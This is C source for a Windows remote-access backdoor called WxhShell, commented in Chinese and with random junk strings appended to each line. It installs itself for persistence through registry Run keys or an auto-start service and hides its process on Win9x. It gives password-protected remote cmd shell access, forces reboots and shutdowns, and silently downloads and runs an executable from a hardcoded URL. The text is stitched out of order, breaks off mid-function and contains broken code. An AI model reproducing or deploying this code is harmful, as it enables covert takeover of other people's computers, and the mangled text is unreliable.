    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CM9XPr  
    else { @lS==O-`f  
    closesocket(wsh); _#!U"hkH  
    ExitThread(0); 7R,qDp S  
    } D*\v0=P'?  
    break; 3?2<W EYr  
    } ?q _^Rj$  
  // 获取shell ocF>LR%P  
  case 's': { _.{zpF=j  
    CmdShell(wsh); !EOQhh  
    closesocket(wsh); .s2$al  
    ExitThread(0); G}VDEC  
    break; o@9+mM"B)  
  } g:_hj_1Y M  
  // 退出 }B0sC%cm  
  case 'x': { rfs(#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >GXXjAIu/  
    CloseIt(wsh); bKMWWJf*'  
    break; nL+p~Hi  
    } o'Wz*oY))\  
  // 离开 O2.' -  
  case 'q': { U&P{?>{u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O$qtq(Q%  
    closesocket(wsh); Z\Z,,g+WL  
    WSACleanup(); *YtB )6j  
    exit(1); }_}KVI  
    break; TQf L%JT  
        } w2{g,A|  
  } D9BQID$R  
  } =A@>I0(7  
qZ*f%L(  
  // 提示信息 ~U$":~H[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )JhT1j Qc  
} s\gp5MT  
  } SO;N~D1Z6  
2no$+4+z  
  return; ;~+]! U  
} E9+HS  
pYo=oI  
// shell模块句柄 KVR~jF%  
int CmdShell(SOCKET sock) XA<ozq'  
{ XJgh>^R^  
STARTUPINFO si; 7+nm31,<O  
ZeroMemory(&si,sizeof(si)); >{5 p0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E  T:T7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1u~ MXGF  
PROCESS_INFORMATION ProcessInfo; +;Cr];b3  
char cmdline[]="cmd"; =gjDCx$|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 53Yxz3v  
  return 0; yK1ie  
} [A5W+pDm  
_?`&JF?*  
// 自身启动模式 xJc$NV-JzK  
int StartFromService(void) pu9^e4B9  
{ 7Xg?U'X  
typedef struct FW..mD9)}  
{ ;3"@g]e  
  DWORD ExitStatus; VUtXxvH  
  DWORD PebBaseAddress; 5u$D/* Eb  
  DWORD AffinityMask; UKtSm%\  
  DWORD BasePriority; y$b]7O  
  ULONG UniqueProcessId; `Ye8 Q5v"]  
  ULONG InheritedFromUniqueProcessId; HYCuK48F[_  
}   PROCESS_BASIC_INFORMATION; h|bT)!|  
w0w1PE-V=  
PROCNTQSIP NtQueryInformationProcess; h3!$r~T!a:  
PFrfd_s{>\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]$A(9Pn"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~ #PLAP3-  
kn"q:aD  
  HANDLE             hProcess; !'G~k+  
  PROCESS_BASIC_INFORMATION pbi; mchJmZ{A  
Xg7|JS!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $t}<85YCQ  
  if(NULL == hInst ) return 0; Sk}{E@  
MS3=~*+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "OmD@ EMT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9Uf j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +f|BiW  
a.2L*>p  
  if (!NtQueryInformationProcess) return 0; ;H'gT+t<c  
>Cr\y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %lw! e  
  if(!hProcess) return 0; {X~ gwoz  
}V]R+%:w@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b2C`g]ibQ  
g}x(hF  
  CloseHandle(hProcess); 2% B'3>a  
-WJ?:?'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (MLwQiop  
if(hProcess==NULL) return 0; Y?d9l  
hK|j6x f.o  
HMODULE hMod; x/ *-P b-_  
char procName[255]; +4))/` DA  
unsigned long cbNeeded; o0bM=njok  
5!X1G8h)uy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O|kOI?f  
9?<{_'  
  CloseHandle(hProcess); aUU7{o_Z  
3g~'5Ao  
if(strstr(procName,"services")) return 1; // 以服务启动 _S}A=hK'  
V  ~@^`Gd  
  return 0; // 注册表启动 . pzC5Ah  
} z (?=Iv3  
m ci/'b Xt  
// 主模块 YW/QC'_iC  
int StartWxhshell(LPSTR lpCmdLine) he(A3{'  
{ 3qL>-%):*  
  SOCKET wsl; z4X}O {  
BOOL val=TRUE; jszK7$]^  
  int port=0; -n80 &  
  struct sockaddr_in door; m908jI_So  
r!PpUwod  
  if(wscfg.ws_autoins) Install(); ^T::-pN*  
=O).Lx2J  
port=atoi(lpCmdLine); "A$!, PX6  
` Ag{)  
if(port<=0) port=wscfg.ws_port; **3 z;58i  
'Ft0Ry<OL  
  WSADATA data; vw,rF`LjZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p Z: F:  
%D g0fL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @Fp_^5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EJ@p-}I!  
  door.sin_family = AF_INET; G` XC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o1cErI&q"  
  door.sin_port = htons(port); ~Wo)?q8UY,  
Y_woKc*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -h|B1*mt  
closesocket(wsl); !8NC# s  
return 1; G 0%6ch^%  
} %w7u]-tR  
*37uy_EpV  
  if(listen(wsl,2) == INVALID_SOCKET) { %h?x!,q Y  
closesocket(wsl); W\&8au ds  
return 1; x^4xq#Bb7  
} Qx;\USv  
  Wxhshell(wsl); }XO K,Hw  
  WSACleanup(); 0Z[oKXm1p  
FCi U  
return 0; [I!6PGx  
2EZb )&Q  
} Y2o?gug  
3b'QLfU&#  
// 以NT服务方式启动 g L_Y,A~Q{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Bp8'pj;~  
{  ;s`sn$@  
DWORD   status = 0; "#[!/\=?:  
  DWORD   specificError = 0xfffffff; Q8!) !r%  
$hivlI-7Ko  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4RSHZAJg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OQW#a[=WQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T}V!`0vKw  
  serviceStatus.dwWin32ExitCode     = 0; x=ul&|^7D  
  serviceStatus.dwServiceSpecificExitCode = 0; 91 =OF*w  
  serviceStatus.dwCheckPoint       = 0; TT =b79k  
  serviceStatus.dwWaitHint       = 0; ]E\n9X-{  
;;L[e]Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1 $/%m_t  
  if (hServiceStatusHandle==0) return; Og,$ sH}`  
3|.um_  
status = GetLastError(); \jOA+FU [  
  if (status!=NO_ERROR) Ut2y;2)a  
{ H,Z;=N_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rE}%KsZ  
    serviceStatus.dwCheckPoint       = 0; Jn{OWw2  
    serviceStatus.dwWaitHint       = 0; .C8PitS  
    serviceStatus.dwWin32ExitCode     = status; f7m%|v!  
    serviceStatus.dwServiceSpecificExitCode = specificError; B!vmQR*1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q09[[  
    return; +L7n<U3  
  } $STaQ28C  
VeW>[08  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *:ZDd  
  serviceStatus.dwCheckPoint       = 0; S H!  
  serviceStatus.dwWaitHint       = 0; 6Yx4lWBR?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .Fdgb4>BXX  
} :2 *g~6  
l c+g&f  
// 处理NT服务事件,比如:启动、停止 9 FB19  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -r-k_6QP  
{ ^J$2?!~  
switch(fdwControl) G1vNt7  
{ 0aG ni|  
case SERVICE_CONTROL_STOP: rg^'S1x|  
  serviceStatus.dwWin32ExitCode = 0;  -i0~]*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :A/d to  
  serviceStatus.dwCheckPoint   = 0; 5H*\t 7  
  serviceStatus.dwWaitHint     = 0; 8_{X1bj  
  { Z'"tB/=W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ILGMMA_2  
  } L*YynF  
  return; a!=D[Gz*5  
case SERVICE_CONTROL_PAUSE: "wNJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9I}-[|`u  
  break; Wf|Q$MHos  
case SERVICE_CONTROL_CONTINUE: etTn_v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r>o63Q:  
  break;  #"@|f  
case SERVICE_CONTROL_INTERROGATE: DGS$Ukz&T  
  break; \WxukYH  
}; L7dd(^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o,_? ^'@  
} n*2UnKaJ  
JpXlBEio%  
// 标准应用程序主函数 Xu%'Z".>:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MF5[lK9e  
{ wB.&}p9p  
jPUwSIP  
// 获取操作系统版本 |5lk9<z  
OsIsNt=GetOsVer(); be.*#[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P)P*Xq r#:  
s.$3j$vT 8  
  // 从命令行安装 <g$~1fa  
  if(strpbrk(lpCmdLine,"iI")) Install(); U|jSa,}  
4 o Fel.o  
  // 下载执行文件 h&KO<>  
if(wscfg.ws_downexe) { 1`=nWy='  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k$blEa4  
  WinExec(wscfg.ws_filenam,SW_HIDE); sB7# ~p A  
} Zy`m!]G]80  
.%xn&3  
if(!OsIsNt) { A1O' |7X  
// 如果时win9x,隐藏进程并且设置为注册表启动 MN\HDKN  
HideProc(); 4K\G16'$v  
StartWxhshell(lpCmdLine); =l+yA>t|  
} [_k1jHr48N  
else pH9VTM.*  
  if(StartFromService()) \NPmym_ 6J  
  // 以服务方式启动 .P8&5i)'P,  
  StartServiceCtrlDispatcher(DispatchTable); T;r2.Pupn  
else !LNayk's>  
  // 普通方式启动 +S o4rA*9  
  StartWxhshell(lpCmdLine); Ayxkv)%:@)  
b,7k)ND1F  
return 0; UtoT  
} os=e|vkB*  
k\5c|Wq|g  
~%&LTX0s|  
Hj^1or3R]  
=========================================== ]Sf]J4eQ  
-t!~%_WCv  
(A9Fhun  
rNXQf'*I  
zdB^S%cztS  
~vm%6CABM  
" Z^3rLCa  
Fs9!S a7v  
#include <stdio.h> ?9 <:QE;I>  
#include <string.h> f6hnTbJ  
#include <windows.h> +$ 'Zf0U  
#include <winsock2.h> &u$Q4  
#include <winsvc.h> 'DP1,7  
#include <urlmon.h> -r`.#c4  
6' k<+IR  
#pragma comment (lib, "Ws2_32.lib") ?:Uv[|S#>  
#pragma comment (lib, "urlmon.lib") XP!S$Q]D  
mE+*)gb:Rd  
#define MAX_USER   100 // 最大客户端连接数 ~Y^+M*   
#define BUF_SOCK   200 // sock buffer Sc]B#/~B  
#define KEY_BUFF   255 // 输入 buffer +}Dw3;W}m  
\ 2M_\Q`NY  
#define REBOOT     0   // 重启 |jGf<Bf5  
#define SHUTDOWN   1   // 关机 rBQ_iB_  
3dg1DR;  
#define DEF_PORT   5000 // 监听端口 G#ZH.24Y  
\V;F/Zy(  
#define REG_LEN     16   // 注册表键长度 8W*%aOi5+  
#define SVC_LEN     80   // NT服务名长度 =W(Q34  
 dm\F  
// 从dll定义API I9|mG'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W!Gq.M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8'HEms  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o_izl \  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XWBA^|-N  
9}rS(/@ }  
// wxhshell配置信息 5TH~.^`Fi  
struct WSCFG { ejSji-Qd  
  int ws_port;         // 监听端口 ZF!h<h&,  
  char ws_passstr[REG_LEN]; // 口令 9 P l  
  int ws_autoins;       // 安装标记, 1=yes 0=no Kn5~d(:  
  char ws_regname[REG_LEN]; // 注册表键名 Wf+cDpK  
  char ws_svcname[REG_LEN]; // 服务名 `KZm0d{H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5'OrHk;u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n1Yp1"2b[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zO-z%y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ouk ^O}W6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vr3Zu{&2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rDdoOb]B  
x[ SDl(<@;  
}; 7`*h2 mgY  
ROH|PKb7  
// default Wxhshell configuration {:/#Nc$5  
struct WSCFG wscfg={DEF_PORT, IPS4C[v  
    "xuhuanlingzhe", "{A(x }'Y4  
    1, ^um<bWNc  
    "Wxhshell", T^zXt?  
    "Wxhshell", ~n moz/L  
            "WxhShell Service", &l}^iP'%!  
    "Wrsky Windows CmdShell Service", aC]$k'71  
    "Please Input Your Password: ", /2&c$9=1  
  1, LQ@"Xe]5  
  "http://www.wrsky.com/wxhshell.exe", ;YaQB#GK%  
  "Wxhshell.exe" 6fkRrD  
    }; \[;0 KV_  
5?f ^Rz  
// 消息定义模块 O %\*@4zM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fBU`k_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6_(&6]}66  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d-oMQGOklb  
char *msg_ws_ext="\n\rExit."; { a =#B)6  
char *msg_ws_end="\n\rQuit."; ]vAz  
char *msg_ws_boot="\n\rReboot..."; t*p71U4+I  
char *msg_ws_poff="\n\rShutdown..."; tR# OjkvX  
char *msg_ws_down="\n\rSave to "; '+@=ILj>  
&T#;-`'  
char *msg_ws_err="\n\rErr!"; $zUP?Gq!  
char *msg_ws_ok="\n\rOK!"; KqHyG  
em y[k  
char ExeFile[MAX_PATH]; bTI|F]^!  
int nUser = 0; ?>VLTp8]  
HANDLE handles[MAX_USER]; dB{Q" !  
int OsIsNt;  0HZ{Y9]  
})'B<vq  
SERVICE_STATUS       serviceStatus; ` ./$&'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4j-Xi  
d9k0F OR1  
// 函数声明 ]a>n:p]e  
int Install(void); kXViWOXU^  
int Uninstall(void); EfqX y>W  
int DownloadFile(char *sURL, SOCKET wsh); N"Z{5A  
int Boot(int flag); &eJfGt5  
void HideProc(void); pJ>P[  
int GetOsVer(void); &j;wCvE4+  
int Wxhshell(SOCKET wsl); ez7A4>/  
void TalkWithClient(void *cs); R8K&R\  
int CmdShell(SOCKET sock); aEB_#1  
int StartFromService(void); <;lkUU(WT2  
int StartWxhshell(LPSTR lpCmdLine); [|v][Hwv  
\P[Y`LYL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )j6~Wy@4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]>!K3kB  
}H53~@WP>  
// 数据结构和表定义 Lw1Yvtn  
SERVICE_TABLE_ENTRY DispatchTable[] = %mW{n8W3{  
{ 59LG{R2  
{wscfg.ws_svcname, NTServiceMain}, Usvl}{L[  
{NULL, NULL} d z|or9&  
}; 28-RC>,@}  
[z:!j$K  
// 自我安装 &0d# Y]D4`  
int Install(void) b 1c y$I  
{ e+EQ]<M  
  char svExeFile[MAX_PATH];  8$=n j  
  HKEY key; ?d*z8w  
  strcpy(svExeFile,ExeFile); @@f"%2ZR[  
GC-5X`Sq  
// 如果是win9x系统,修改注册表设为自启动 .e#w)K  
if(!OsIsNt) { Y/F6\oh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KR} ?H#%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9+|$$)  
  RegCloseKey(key); KM, \  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }PlRx6r@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); poE0{HOU  
  RegCloseKey(key); ~g91Pr   
  return 0; |]bsCmD  
    } /PVk{3  
  } i$Ul(?  
} cZ,b?I"Q%  
else { wLIMv3;k  
-OV&Md:~  
// 如果是NT以上系统,安装为系统服务 gb1V~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2Ah#<k-gC;  
if (schSCManager!=0) rSY!vkLE\  
{ 9 ql~q  
  SC_HANDLE schService = CreateService RH W]Z Pr<  
  ( AI2)g1m  
  schSCManager, \  #F  
  wscfg.ws_svcname, +Ze} B*0  
  wscfg.ws_svcdisp, \doUTr R  
  SERVICE_ALL_ACCESS, G[PtkPSJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #\{l"-  
  SERVICE_AUTO_START, 38B2|x  
  SERVICE_ERROR_NORMAL, 4> K42m  
  svExeFile, &ANf!*<\E  
  NULL, b=C*W,Q_#  
  NULL, "S[450%  
  NULL, (MM]N=Tw4  
  NULL, yZY\MB/  
  NULL i}f"yO+Q+  
  ); iQ67l\{R  
  if (schService!=0) LE Nq_@$  
  { bIDj[-CDG  
  CloseServiceHandle(schService); K-)] 1BG  
  CloseServiceHandle(schSCManager); M)Z7k/=<P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;fTKfa  
  strcat(svExeFile,wscfg.ws_svcname); fUWG*o9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,Zx0%#6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h8q[1"a:  
  RegCloseKey(key); dlh)gp;  
  return 0; dl)Y'DI  
    } [\e eDa  
  } Z?q] bSIT  
  CloseServiceHandle(schSCManager); C}j"Qi`  
} N{!i=A  
} {lzWrUGO  
QW~E&B%  
return 1; 6Igz:eX  
} ,<_A2t 2  
 4\N ;2N  
// 自我卸载 !qQl@j O  
int Uninstall(void) eS^7A}*wd-  
{ |*xA 8&/  
  HKEY key; n+9=1Oo"  
NN{?z!  
if(!OsIsNt) { AR%4D3Dma  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tk[ $5u*,  
  RegDeleteValue(key,wscfg.ws_regname); !PlEO 2at  
  RegCloseKey(key); e)k9dOR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bHnT6Icom  
  RegDeleteValue(key,wscfg.ws_regname); nc29j_Id  
  RegCloseKey(key); e2Pcm_Ahv*  
  return 0; q9K)Xk$LF  
  } qBQ?HLK-  
} G$"h&Xy1c  
} k .;j  
else { xIW3={b3  
i^&~?2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Vm(y7}Aq{  
if (schSCManager!=0) Ml{,  
{ p`dU2gV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2a)xTA#  
  if (schService!=0) FX&~\kmV'j  
  { &BLJT9Frx  
  if(DeleteService(schService)!=0) { 1-uxC^u?|#  
  CloseServiceHandle(schService); 76Cl\rV  
  CloseServiceHandle(schSCManager); :S83vE81WK  
  return 0; ~Ffo-Nd-  
  } :RTC!spy  
  CloseServiceHandle(schService); 4Z=_,#h4.  
  } tS5hv@9cWx  
  CloseServiceHandle(schSCManager); #Vt%@* i  
} Jt<_zn_FG  
} NNR`!Pty  
qr^3R&z!}  
return 1; xt* 3'v  
} P1 8hxXE3  
{]!mrAjD  
// 从指定url下载文件 f}ji?p  
int DownloadFile(char *sURL, SOCKET wsh) \)904W5R  
{ 2]jn '4  
  HRESULT hr; Sv#XIMw{,  
char seps[]= "/"; XEp{VC@=  
char *token; [!uG1GJ>  
char *file; 4he GnMD  
char myURL[MAX_PATH]; Zn+.;o)E<  
char myFILE[MAX_PATH]; %XDc,AR[  
HZB>{O  
strcpy(myURL,sURL); xrz,\eTb  
  token=strtok(myURL,seps); Sq V},  
  while(token!=NULL) 10~k2{Z  
  { /9*B)m"  
    file=token; $9#H04.x  
  token=strtok(NULL,seps); n ATuD  
  } J1|\Q:-7p  
7kLz[N6Ll  
GetCurrentDirectory(MAX_PATH,myFILE); 6vo;!V6  
strcat(myFILE, "\\"); }OR@~V{Gj  
strcat(myFILE, file); @})|Z}~  
  send(wsh,myFILE,strlen(myFILE),0); 6I4\q.^qw  
send(wsh,"...",3,0); ]@c+]{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^ogt+6c  
  if(hr==S_OK) Y_IF;V\  
return 0; sqwGsO$#  
else jXx<`I+]  
return 1; Yui3+}Ms  
F#Ryu~,"  
} 3{64 @s  
{X+3;&@  
// 系统电源模块 O, wJR  
int Boot(int flag) 6dt]`zv/  
{ 9 ';JXf$  
  HANDLE hToken; G@\1E+Ip  
  TOKEN_PRIVILEGES tkp; ".V$~n(  
k68T`Ub\W6  
  if(OsIsNt) { K`WywH3-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Wx}8T[A}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %#:{UR)E  
    tkp.PrivilegeCount = 1; u;"TTN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DB|Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \)N9aV  
if(flag==REBOOT) { ,j{,h_Op  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jl$ece5v  
  return 0; A]0 St@  
} K~{$oD7!  
else { AaOu L,l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `/XY>T}-  
  return 0; :yr+vcD?  
} e0zq1XcZ  
  } wLH>:yKUU  
  else { <n];mfh1  
if(flag==REBOOT) { cWaSn7p!X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I\{ 1u  
  return 0; 9'giU r  
} W=><)miQ@  
else { @7]yl&LZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oy=js -  
  return 0; 1\ ~ "VF*{  
} ? 7n`A >T  
} xb~yM%*c  
,t?B+$E  
return 1; |(E FY\  
} Xll}x+'uZK  
O)*+="Rg  
// win9x进程隐藏模块 O!#g<`r{K  
void HideProc(void) +H-6eP  
{ NZLxHD]mp  
 I<mV+ex  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  :D6 ON"6  
  if ( hKernel != NULL ) m)t;9J5  
  { 2j88<Yh]H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rk2j#>l$4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2g-j.TM  
    FreeLibrary(hKernel); z6=Z\P+  
  } Oi'5ytsES  
_[c0)2h  
return; 8,4"uuI  
} { ]{/t-=  
VU(v3^1"  
// 获取操作系统版本 EF[@$j   
int GetOsVer(void) ]Ji.Zk  
{ v5#j Z$<F  
  OSVERSIONINFO winfo; uM IIYS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); feDlH[$  
  GetVersionEx(&winfo); dO<ERY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q460iL7yF}  
  return 1; EzM ?Nft  
  else N=5a54!/  
  return 0; QvlObEhcS  
} Z, Yb&b  
l'-Bu(  
// 客户端句柄模块 qFCOUl  
int Wxhshell(SOCKET wsl) zm5]J  
{ wx= $2N6  
  SOCKET wsh; ?}tFN_X"  
  struct sockaddr_in client; *=/ { HvJ  
  DWORD myID; Cazocq5  
p Z|V 3  
  while(nUser<MAX_USER) x_N'TjS^{  
{ (l~AV9!m:  
  int nSize=sizeof(client); RUnSCOdX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #uG%j  
  if(wsh==INVALID_SOCKET) return 1; Eex~xiiV  
mI-]/:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); { M4gF8(M  
if(handles[nUser]==0) UT~4x|b:O  
  closesocket(wsh); [I,Z2G,Jb  
else eCDev}  
  nUser++; ~S"+S/z/k  
  } ifMRryN4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2 /\r)$ 2i  
ArI2wM/v  
  return 0; en4k/w_  
} a od-3"7[  
|}s*E_/[  
// 关闭 socket b.JuI  
void CloseIt(SOCKET wsh) VK\X&Y3l  
{ jKAEm  
closesocket(wsh); DZ'P@f)]  
nUser--; {0Yf]FQb-a  
ExitThread(0); r;.yz I  
} *SbMqASv4G  
Z*]9E^  
// 客户端请求句柄 vAF "n  
void TalkWithClient(void *cs) <sGVR5NR  
{ Db}j?ik/  
;40/yl3r3[  
  SOCKET wsh=(SOCKET)cs; Fx_z6a  
  char pwd[SVC_LEN]; sk<3`x+  
  char cmd[KEY_BUFF]; ]3],r?-tJ  
char chr[1]; 0y'H~(  
int i,j; :1. L}4"gg  
WTQ\PANAaR  
  while (nUser < MAX_USER) { 8`B3;Zmm  
sQHv%]s 0  
if(wscfg.ws_passstr) { p SH=%u>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Eak$u>Fd8c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mlg0WrJ|2  
  //ZeroMemory(pwd,KEY_BUFF);  L2[($l  
      i=0; hc(#{]].  
  while(i<SVC_LEN) { KEo ,m  
ky,(xT4  
  // 设置超时 <SAzxo:I  
  fd_set FdRead; O-0x8O^B  
  struct timeval TimeOut; r ,8 [O  
  FD_ZERO(&FdRead); x/I%2F  
  FD_SET(wsh,&FdRead); B?gOHG*vd>  
  TimeOut.tv_sec=8; Drgv`z  
  TimeOut.tv_usec=0; +< Nn~1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >^?u .gM3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~|D Ut   
iJ)_RSFK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oj m @t  
  pwd=chr[0]; >UTBO|95y  
  if(chr[0]==0xd || chr[0]==0xa) { Fh&G;aEq  
  pwd=0; +6M}O[LP  
  break; lwxaMjaL4K  
  } d`=MgHz  
  i++; Z!a =dnwHz  
    } `!3SF|x&  
Zgp4`)}:  
  // 如果是非法用户,关闭 socket XB;7!8|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6m/r+?'  
} U/66L+1  
[x=s(:qy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :(U ,x<>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fo (fWvz  
hlvK5Z   
while(1) { &.)^ %Tp\z  
x$A+lj]x  
  ZeroMemory(cmd,KEY_BUFF); z3{G9Np  
n:I,PS0H<  
      // 自动支持客户端 telnet标准   c)6m$5]  
  j=0; ^KnU4sD  
  while(j<KEY_BUFF) { .O5Z8 p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kUL' 1!j7  
  cmd[j]=chr[0]; RtkEGxw*^  
  if(chr[0]==0xa || chr[0]==0xd) { /Y:sLGQLD  
  cmd[j]=0; zJKv'>?  
  break; /Iu 1L#  
  } P[G)sA_"  
  j++; kf\PioD8  
    } l?v86k  
jodIv=C  
  // 下载文件 #X+JHl  
  if(strstr(cmd,"http://")) { T8?Ghbn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0mYXv4 <  
  if(DownloadFile(cmd,wsh)) ;RZ )  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Di,^%  
  else P8OaoPj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M~Tuj1?  
